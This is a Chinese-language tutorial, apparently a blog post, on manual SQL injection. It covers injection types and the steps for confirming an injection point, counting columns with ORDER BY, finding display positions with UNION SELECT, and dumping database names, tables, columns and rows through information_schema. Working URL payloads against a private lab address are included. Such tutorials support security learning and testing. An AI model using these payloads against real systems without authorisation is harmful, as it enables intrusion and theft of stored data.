SQL注入使用詳細總結(由淺及深,持續更新中)
SQL注入使用總結
一:SQL注入的原理
1:什麼是SQL
SQL,指結構化查詢語言,作用:訪問和處理資料庫 也就是說SQL語言的所有操作都是作用於資料庫的,那我們的SQL注入的目的就顯而易見了,即進入後臺資料庫,對後臺資料庫進行檢視甚至是修改
2:SQL注入的原理
把SQL命令插入到 Web表單遞交
或 輸入域名
或 頁面請求
的查詢字串,最終達到欺騙伺服器執行惡意的SQL命令。
3:SQL注入分類
- 根據字元型別分類:①整型注入②字元型注入③寬位元組注入
- 注入方法分類:①報錯注入②延時注入③布林型盲注④聯合查詢注入⑤多語句執行注入
光看理論有些抽象,明白就可,具體看下面注入操作
二:手工注入
1:判斷是否存在注入(三步走)
判斷是否存在注入,關鍵看是否出現頁面報錯資訊,如若報錯證明其執行了你填寫的SQL語句,此時便可以進入下一步
- 給引數賦值單引號,檢視頁面變化
- 給引數賦值為and 1=1或or1=1,檢視頁面變化
- 給引數賦值為and 1=2或or1=2,檢視頁面變化 如若頁面出現變化,說明該Web頁面存在SQL注入,若沒有出現變化,可能沒有SQL注入,也可能有但需要特殊的方法繞過 例:
2:判斷欄位長度
通過使用order by語句來判斷後臺所查詢欄位的數目
- 給引數賦值 order by (num),num為測試的數:1,2,3,… 當頁面出錯時,正確顯示頁面的最後一個num便為後臺所查詢欄位的數目總數
例:
3:判斷顯示欄位的位置
通過聯合查詢(union select 欄位數)檢視可顯示欄位,此操作的目的通過檢視顯示位為下一步暴庫(顯示資料庫內資訊)做準備 例: 圖中payload構造時在union select前加了and1=2,目的是直接顯示聯合查詢的結果,遮蔽其他資訊,不遮蔽也是可以的,不過聯合查詢的資訊會在頁面顯示的其他資訊之後
4:暴庫——顯示資料庫內的內容和資訊
通過聯合查詢用上一步已知的顯示位檢視我們想要知道的資訊,例如:使用者名稱,資料庫名,版本資訊等 例: payload的如下
http://192.168.(省略)?title=%27and%201=2%20union%20select%201,user(),database(),version(),5,6,7%23
顯示位顯示了payload對應的內容 接下來我們可以使用如下的payload檢視所有資料庫的名稱 注:MySQL 5.0之後有增加了系統表information_schema,可從其中查詢所需資訊
http://192.168.(省略)?title=%27and 1=2 union select 1,2,SCHEMA_NAME,4,5,6,7 from information_schema.SCHEMATA limit 0,4%23
例: limit後面的兩個數字,第一個為從第幾個資料庫開始顯示,第二個數字為一次性顯示幾個,這裡注意資料庫的其實編號是從0開始的
5:爆表——檢視資料庫內的資料表資訊
使用如下的payload可以顯示當前資料庫內的資料表資訊了
http://192.168.(省略)?title=%27and 1=2 union select 1,2,TABLE_NAME,4,5,6,7 from information_schema.TABLES where TABLE_SCHEMA=database()%23
例:
6:爆欄位——查看錶中的內容
使用如下的payload檢視資料表中的內容
- payload: ’ and 1=2 Union select 1,2,COLUMN_NAME,4,5,6,7 from information_schema.COLUMNS where TABLE_NAME= ‘已經查出的表名’
http://192.168.(省略)?title=' and 1=2 Union select 1,2,COLUMN_NAME,4,5,6,7 from information_schema.COLUMNS where TABLE_NAME= '已經查出的表名'
最後的 ‘已查到的表名’ 中 ‘’ 不可省略
- payload: ’ and 1=2 Union select 1,2,COLUMN_NAME,4,5,6,7 from information_schema.COLUMNS where TABLE_NAME=16進位制的表名
http://192.168.(省略)?title=' and 1=2 Union select 1,2,COLUMN_NAME,4,5,6,7 from information_schema.COLUMNS where TABLE_NAME=16進位制的表名
此時已查出的表名 不用加 ‘’ ,但是一定要用16進位制。例: users 要 改為 0x7573657273
- 例:
7:爆欄位內容
使用如下payload:
'and 1=2 Union select 1,2,欄位名,4,5,6,7 from 表名 limit 0,1
可以檢視欄位內容 例: 喜歡記得點贊關注哦,持續更新中